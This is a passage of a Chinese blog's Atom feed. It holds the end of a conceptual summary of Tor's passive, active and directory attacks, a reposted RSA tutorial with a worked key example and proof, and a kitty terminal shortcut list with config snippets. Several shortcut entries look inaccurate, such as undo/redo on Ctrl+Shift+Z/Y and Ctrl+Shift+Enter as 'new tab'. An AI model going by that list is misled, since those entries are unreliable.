&lt;p&gt;Tor使用一小群冗余的、知名的OR来跟踪网络拓扑和结点状态的变化，包括密钥和退出策略，每个这样的目录服务器作为一个HTTP服务器，因此客户端可以获取当前的网络状态和服务器列表，OR也可以将其状态信息上传到目录服务器。OR定期向每个目录服务器发布其状态的签名，目录服务器将这些信息和他们自己的网络视图结合起来，生成整个网络状态的签名描述（目录）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-gong-ji-he-fang-yu&quot;&gt;5.攻击和防御&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;5-1bei-dong-gong-ji&quot;&gt;5.1被动攻击&lt;&#x2F;h5&gt;
&lt;p&gt;①观察用户流量模式：观察用户连接不会显示其目的地或数据，但是可以得到流量模式，通过用户连接模式进行分析需要进一步的处理，因为多个应用程序流可能在同一个电路上串联运行。&lt;&#x2F;p&gt;
&lt;p&gt;②观察用户内容：虽然用户端内容是加密的，但是和应答者之间的连接可能不会加密，实际上，应答者的网站本身可能就是敌对的。虽然过滤内容不是洋葱路由的主要目标，Tor可以直接使用Privoxy和相关的过滤服务来匿名化应用数据流。&lt;&#x2F;p&gt;
&lt;p&gt;③选择可区别性：我们允许客户端选择配置选项。例如，有的用户可能相对于可追溯性，更关注请求链接性，因此这些客户可能会更加频繁地更换电路，这部分用户可能会因此显得与众不同而失去更多的匿名性。&lt;&#x2F;p&gt;
&lt;p&gt;④端到端时间相关性：Tor只能最低限度地隐藏这种相关性。攻击者观察在发起者和响应者的流量模式将能够以高概率确认通信。目前最有效的防止此类确认的保护措施是隐藏洋葱代理和第一个Tor结点之间的连接，可以在Tor结点上或是在防火墙后运行OP。这种方法需要观察者将来自洋葱路由器的流量和经过洋葱路由器的流量分开，全局的观察者可以做到这一点。&lt;&#x2F;p&gt;
&lt;p&gt;⑤端到端大小相关性：简单的包计数也可以有效地确认流的端点。然而，即使没有填充，我们也有一些有限的保护：漏管模型意味着不同数量的数据包可能会进入电路的一个端点（OR），而不是其他的OR。&lt;&#x2F;p&gt;
&lt;p&gt;⑥用户指纹：这种攻击通过尝试分析用户在访问浏览器时的习惯来进行分析攻击。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-2zhu-dong-gong-ji&quot;&gt;5.2主动攻击&lt;&#x2F;h5&gt;
&lt;p&gt;①妥协的密钥：得知TLS会话密钥的攻击者可以看到该连接上的每个电路的控制单元和加密的中继单元；得知电路会话密钥可以让他解开加密的一层。一个攻击者如果得知了某个OR的TLS私钥，就可以在TLS私钥的生命周期内模仿这个OR，但他还必须得知洋葱密钥来解密创建单元，并且，由于完全的前向保密，攻击者无法在不损害其会话密钥的情况下劫持已经建立的电路。周期性的变换密钥会限制这些攻击的机会窗口。另一方面，攻击者一旦掌握了结点的身份密钥，就可以向目录服务器发送新的伪造描述符来无限期地替换该结点。&lt;&#x2F;p&gt;
&lt;p&gt;②迭代妥协：一个可以危及OR的对手可以沿着危及结点的回路行进，直到他到达终点。然而，除非对手能够在电路的生命周期内完成此次攻击，否则OR将在攻击完成之前丢弃必要的信息。&lt;&#x2F;p&gt;
&lt;p&gt;③运行一个服务器：对手可以运行一个服务器并诱导用户连接到他们的服务器上（可能是通过投放广告的形式），那么对手现在就掌握了链接的一端。&lt;&#x2F;p&gt;
&lt;p&gt;④运行一个洋葱代理：终端用户几乎总是运行他们自己的本地洋葱代理，然而在某些设置中，代理可能需要远程运行，损害一个洋葱代理将损害将来所有通过它的连接（没看懂）。&lt;&#x2F;p&gt;
&lt;p&gt;⑤攻击未被观察到的结点：一个只能监视Tor网络的观察者可以通过攻击没有被观察到的结点来增加这个流量的值，进而关闭他们，降低他们的可靠性，或者让用户相信他们是不值得信任的。&lt;&#x2F;p&gt;
&lt;p&gt;⑥运行敌对的OR：敌对的结点可以通过自身创建电路或者改变流量模式来影响其他结点的流量。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-3mu-lu-gong-ji&quot;&gt;5.3目录攻击&lt;&#x2F;h5&gt;
&lt;p&gt;破坏目录服务器：如果有一部分目录服务器遭到攻击消失，其他服务器仍然可以确定一个有效的目录，只要有任何的目录服务器正在运行，它们仍将生成一致的目录并广播对网络进行观察。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>RSA算法原理（二） - 阮一峰的网络日志</title>
        <published>2025-08-15T00:00:00+00:00</published>
        <updated>2025-08-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rsa算法原理-二-阮一峰的网络日志/"/>
        <id>https://vercel.juzhong.asia/obsidian/rsa算法原理-二-阮一峰的网络日志/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rsa算法原理-二-阮一峰的网络日志/">&lt;h1 id=&quot;rsasuan-fa-yuan-li-er-ruan-yi-feng-de-wang-luo-ri-zhi&quot;&gt;RSA算法原理（二） - 阮一峰的网络日志&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2013&#x2F;07&#x2F;rsa_algorithm_part_two.html&quot;&gt;https:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2013&#x2F;07&#x2F;rsa_algorithm_part_two.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;RSA算法原理（二）&lt;&#x2F;p&gt;
&lt;p&gt;上一次，我介绍了一些&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2013&#x2F;06&#x2F;rsa_algorithm_part_one.html&quot;&gt;数论知识&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有了这些知识，我们就可以看懂&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;RSA%E7%AE%97%E6%B3%95&quot;&gt;RSA算法&lt;&#x2F;a&gt;。这是目前地球上最重要的加密算法。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rsa-principles-2&#x2F;rsa-key-generation-steps.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;六、密钥生成的步骤&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们通过一个例子，来理解RSA算法。假设&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E7%88%B1%E4%B8%BD%E4%B8%9D%E4%B8%8E%E9%B2%8D%E4%BC%AF&quot;&gt;爱丽丝&lt;&#x2F;a&gt;要与鲍勃进行加密通信，她该怎么生成公钥和私钥呢？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rsa-principles-2&#x2F;rsa-key-generation-steps-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第一步，随机选择两个不相等的质数p和q。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;爱丽丝选择了61和53。（实际应用中，这两个质数越大，就越难破解。）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第二步，计算p和q的乘积n。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;爱丽丝就把61和53相乘。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　n = 61×53 = 3233&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;n的长度就是密钥长度。3233写成二进制是110010100001，一共有12位，所以这个密钥就是12位。实际应用中，RSA密钥一般是1024位，重要场合则为2048位。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第三步，计算n的欧拉函数φ(n)。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据公式：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　φ(n) = (p-1)(q-1)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;爱丽丝算出φ(3233)等于60×52，即3120。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第四步，随机选择一个整数e，条件是1&amp;lt; e&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;lt; φ(n)，且e与φ(n) 互质。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;爱丽丝就在1到3120之间，随机选择了17。（实际应用中，常常选择65537。）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第五步，计算e对于φ(n)的模反元素d。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所谓&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%A8%A1%E5%8F%8D%E5%85%83%E7%B4%A0&quot;&gt;&quot;模反元素&quot;&lt;&#x2F;a&gt;就是指有一个整数d，可以使得ed被φ(n)除的余数为1。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ed ≡ 1 (mod φ(n))&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这个式子等价于&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ed - 1 = kφ(n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;于是，找到模反元素d，实质上就是对下面这个二元一次方程求解。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ex + φ(n)y = 1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;已知 e=17, φ(n)=3120，&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　17x + 3120y = 1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这个方程可以用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%89%A9%E5%B1%95%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97%E7%AE%97%E6%B3%95&quot;&gt;&quot;扩展欧几里得算法&quot;&lt;&#x2F;a&gt;求解，此处省略具体过程。总之，爱丽丝算出一组整数解为 (x,y)=(2753,-15)，即 d=2753。&lt;&#x2F;p&gt;
&lt;p&gt;至此所有计算完成。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第六步，将n和e封装成公钥，n和d封装成私钥。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在爱丽丝的例子中，n=3233，e=17，d=2753，所以公钥就是 (3233,17)，私钥就是（3233, 2753）。&lt;&#x2F;p&gt;
&lt;p&gt;实际应用中，公钥和私钥的数据都采用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;zh-cn&#x2F;ASN.1&quot;&gt;ASN.1&lt;&#x2F;a&gt;格式表达（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;hi.baidu.com&#x2F;mathack&#x2F;item&#x2F;d0ad4cc1514a3663f7c95da2&quot;&gt;实例&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;七、RSA算法的可靠性&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;回顾上面的密钥生成步骤，一共出现六个数字：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　p
　　q
　　n
　　φ(n)
　　e
　　d&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这六个数字之中，公钥用到了两个（n和e），其余四个数字都是不公开的。其中最关键的是d，因为n和d组成了私钥，一旦d泄漏，就等于私钥泄漏。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;那么，有无可能在已知n和e的情况下，推导出d？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　（1）ed≡1 (mod φ(n))。只有知道e和φ(n)，才能算出d。&lt;&#x2F;p&gt;
&lt;p&gt;　　（2）φ(n)=(p-1)(q-1)。只有知道p和q，才能算出φ(n)。&lt;&#x2F;p&gt;
&lt;p&gt;　　（3）n=pq。只有将n因数分解，才能算出p和q。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;结论：如果n可以被因数分解，d就可以算出，也就意味着私钥被破解。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可是，大整数的因数分解，是一件非常困难的事情。目前，除了暴力破解，还没有发现别的有效方法。维基百科这样写道：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　&quot;对极大整数做因数分解的难度决定了RSA算法的可靠性。换言之，对一极大整数做因数分解愈困难，RSA算法愈可靠。&lt;&#x2F;p&gt;
&lt;p&gt;　　假如有人找到一种快速因数分解的算法，那么RSA的可靠性就会极度下降。但找到这样的算法的可能性是非常小的。今天只有短的RSA密钥才可能被暴力破解。到2008年为止，世界上还没有任何可靠的攻击RSA算法的方式。&lt;&#x2F;p&gt;
&lt;p&gt;　　只要密钥长度足够长，用RSA加密的信息实际上是不能被解破的。&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;举例来说，你可以对3233进行因数分解（61×53），但是你没法对下面这个整数进行因数分解。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　12301866845301177551304949
　　58384962720772853569595334
　　79219732245215172640050726
　　36575187452021997864693899
　　56474942774063845925192557
　　32630345373154826850791702
　　61221429134616704292143116
　　02221240479274737794080665
　　351419597459856902143413&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;它等于这样两个质数的乘积：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　33478071698956898786044169
　　84821269081770479498371376
　　85689124313889828837938780
　　02287614711652531743087737
　　814467999489
　　　　×
　　36746043666799590428244633
　　79962795263227915816434308
　　76426760322838157396665112
　　79233373417143396810270092
　　798736308917&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;事实上，这大概是人类已经分解的最大整数（232个十进制位，768个二进制位）。比它更大的因数分解，还没有被报道过，因此目前被破解的最长RSA密钥就是768位。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;八、加密和解密&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有了公钥和密钥，就能进行加密和解密了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（1）加密要用公钥 (n,e)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假设鲍勃要向爱丽丝发送加密信息m，他就要用爱丽丝的公钥 (n,e) 对m进行加密。这里需要注意，m必须是整数（字符串可以取ascii值或unicode值），且m必须小于n。&lt;&#x2F;p&gt;
&lt;p&gt;所谓&quot;加密&quot;，就是算出下式的c：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　m&lt;sup&gt;e&lt;&#x2F;sup&gt; ≡ c (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;爱丽丝的公钥是 (3233, 17)，鲍勃的m假设是65，那么可以算出下面的等式：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　65&lt;sup&gt;17&lt;&#x2F;sup&gt; ≡ 2790 (mod 3233)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;于是，c等于2790，鲍勃就把2790发给了爱丽丝。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（2）解密要用私钥(n,d)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;爱丽丝拿到鲍勃发来的2790以后，就用自己的私钥(3233, 2753) 进行解密。可以证明，下面的等式一定成立：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　c&lt;sup&gt;d&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是说，c的d次方除以n的余数为m。现在，c等于2790，私钥是(3233, 2753)，那么，爱丽丝算出&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　2790&lt;sup&gt;2753&lt;&#x2F;sup&gt; ≡ 65 (mod 3233)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;因此，爱丽丝知道了鲍勃加密前的原文就是65。&lt;&#x2F;p&gt;
&lt;p&gt;至此，&quot;加密--解密&quot;的整个过程全部完成。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以看到，如果不知道d，就没有办法从c求出m。而前面已经说过，要知道d就必须分解n，这是极难做到的，所以RSA算法保证了通信安全。&lt;&#x2F;p&gt;
&lt;p&gt;你可能会问，公钥(n,e) 只能加密小于n的整数m，那么如果要加密大于n的整数，该怎么办？有两种解决方法：一种是把长信息分割成若干段短消息，每段分别加密；另一种是先选择一种&quot;对称性加密算法&quot;（比如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E8%B5%84%E6%96%99%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86&quot;&gt;DES&lt;&#x2F;a&gt;），用这种算法的密钥加密信息，再用RSA公钥加密DES密钥。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;九、私钥解密的证明&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后，我们来证明，为什么用私钥解密，一定可以正确地得到m。也就是证明下面这个式子：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　c&lt;sup&gt;d&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;因为，根据加密规则&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ｍ&lt;sup&gt;e&lt;&#x2F;sup&gt; ≡ c (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;于是，c可以写成下面的形式：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　c = m&lt;sup&gt;e&lt;&#x2F;sup&gt; - kn&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;将c代入要我们要证明的那个解密规则：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(m&lt;sup&gt;e&lt;&#x2F;sup&gt; - kn)&lt;sup&gt;d&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;它等同于求证&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　m&lt;sup&gt;ed&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;由于&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ed ≡ 1 (mod φ(n))&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;所以&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　ed = hφ(n)+1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;将ed代入：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　m&lt;sup&gt;hφ(n)+1&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来，分成两种情况证明上面这个式子。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（1）m与n互质。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据欧拉定理，此时&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　m&lt;sup&gt;φ(n)&lt;&#x2F;sup&gt; ≡ 1 (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;得到&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(m&lt;sup&gt;φ(n)&lt;&#x2F;sup&gt;)&lt;sup&gt;h&lt;&#x2F;sup&gt; × m ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原式得到证明。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（2）m与n不是互质关系。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此时，由于n等于质数p和q的乘积，所以m必然等于kp或kq。&lt;&#x2F;p&gt;
&lt;p&gt;以 m = kp为例，考虑到这时k与q必然互质，则根据欧拉定理，下面的式子成立：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(kp)&lt;sup&gt;q-1&lt;&#x2F;sup&gt; ≡ 1 (mod q)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;进一步得到&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　[(kp)&lt;sup&gt;q-1&lt;&#x2F;sup&gt;]&lt;sup&gt;h(p-1)&lt;&#x2F;sup&gt; × kp ≡ kp (mod q)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;即&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(kp)&lt;sup&gt;ed&lt;&#x2F;sup&gt; ≡ kp (mod q)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;将它改写成下面的等式&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(kp)&lt;sup&gt;ed&lt;&#x2F;sup&gt; = tq + kp&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这时t必然能被p整除，即 t=t&#x27;p&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　(kp)&lt;sup&gt;ed&lt;&#x2F;sup&gt; = t&#x27;pq + kp&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;因为 m=kp，n=pq，所以&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;　　m&lt;sup&gt;ed&lt;&#x2F;sup&gt; ≡ m (mod n)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原式得到证明。&lt;&#x2F;p&gt;
&lt;p&gt;（完）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>kitty终端快捷键</title>
        <published>2025-08-14T15:08:33+08:00</published>
        <updated>2025-08-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/kitty终端快捷键/"/>
        <id>https://vercel.juzhong.asia/2025/08/kitty终端快捷键/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/kitty终端快捷键/">&lt;p&gt;kitty 终端模拟器有许多快捷键，主要用于导航、窗口管理、文本操作和配置等。以下是一些常用的快捷键：
基本导航:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Ctrl+Shift+Enter: 新建标签页﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+W: 关闭标签页﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+PageUp &#x2F; Ctrl+Shift+PageDown: 切换标签页﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+左箭头 &#x2F; Ctrl+Shift+右箭头: 切换窗口﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+方向键: 在当前窗口中移动光标﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+T: 在当前窗口中打开一个新的标签页﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+Q: 关闭当前窗口﻿&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+R: 重新加载配置文件﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;文本操作:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Ctrl+Shift+C: 复制选中文本&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+V: 粘贴文本&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+X: 剪切选中文本&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+Z: 撤销&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+Y: 重做&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+方向键: 在文本中移动光标&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+PageUp &#x2F; Ctrl+Shift+PageDown: 在文本缓冲区中向上&#x2F;向下滚动﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其他快捷键:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Ctrl+Shift+F2: 编辑kitty 配置文件&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+F5: 重新加载kitty 配置文件&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+F6: 调试kitty 配置文件&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+Escape: 打开kitty 终端&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+加号 &#x2F; Ctrl+Shift+减号: 调整字体大小&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl+Shift+F: 在当前窗口中查找文本﻿&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;自定义快捷键:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在 kitty.conf 文件中自定义快捷键。例如，要将新建标签页的快捷键设置为 Ctrl+Alt+T，可以在 kitty.conf 中添加以下行：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;map ctrl+alt+t launch --cwd=current
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查找更多快捷键:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在 kitty 文档 中查找更多快捷键和配置选项&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;pei-zhi-kittyzi-ti-ju-ti-ying-yong-chang-jing&quot;&gt;配置kitty字体： 具体应用场景&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-jetbrains-mono
cat &amp;lt;&amp;lt;EOF &amp;gt;&amp;gt; ~&amp;#x2F;.config&amp;#x2F;kitty&amp;#x2F;kitty.conf
font_family JetBrains Mono
font_size 14.0
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-alacrittyzi-ti-da-xiao&quot;&gt;配置alacritty字体大小&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;lt;&amp;lt;EOF &amp;gt;&amp;gt; ~&amp;#x2F;.config&amp;#x2F;alacritty&amp;#x2F;alacritty.toml
[font]
size = 18
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.escapelife.site&#x2F;posts&#x2F;8e342b57.html&quot;&gt;kitty&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 字体高级配置</title>
        <published>2025-08-14T14:49:54+08:00</published>
        <updated>2025-08-14T14:49:54+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 字体高级配置/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 字体高级配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 字体高级配置/">&lt;p&gt;在 Linux 系统中，字体配置主要通过 Fontconfig 库管理，这是一个跨平台的字体配置系统。以下是完整的配置文件、操作命令和最佳实践指南：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;file-folder-he-xin-pei-zhi-wen-jian-jie-gou&quot;&gt;📁 核心配置文件结构&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-xi-tong-ji-pei-zhi&quot;&gt;1. 系统级配置&lt;&#x2F;h2&gt;
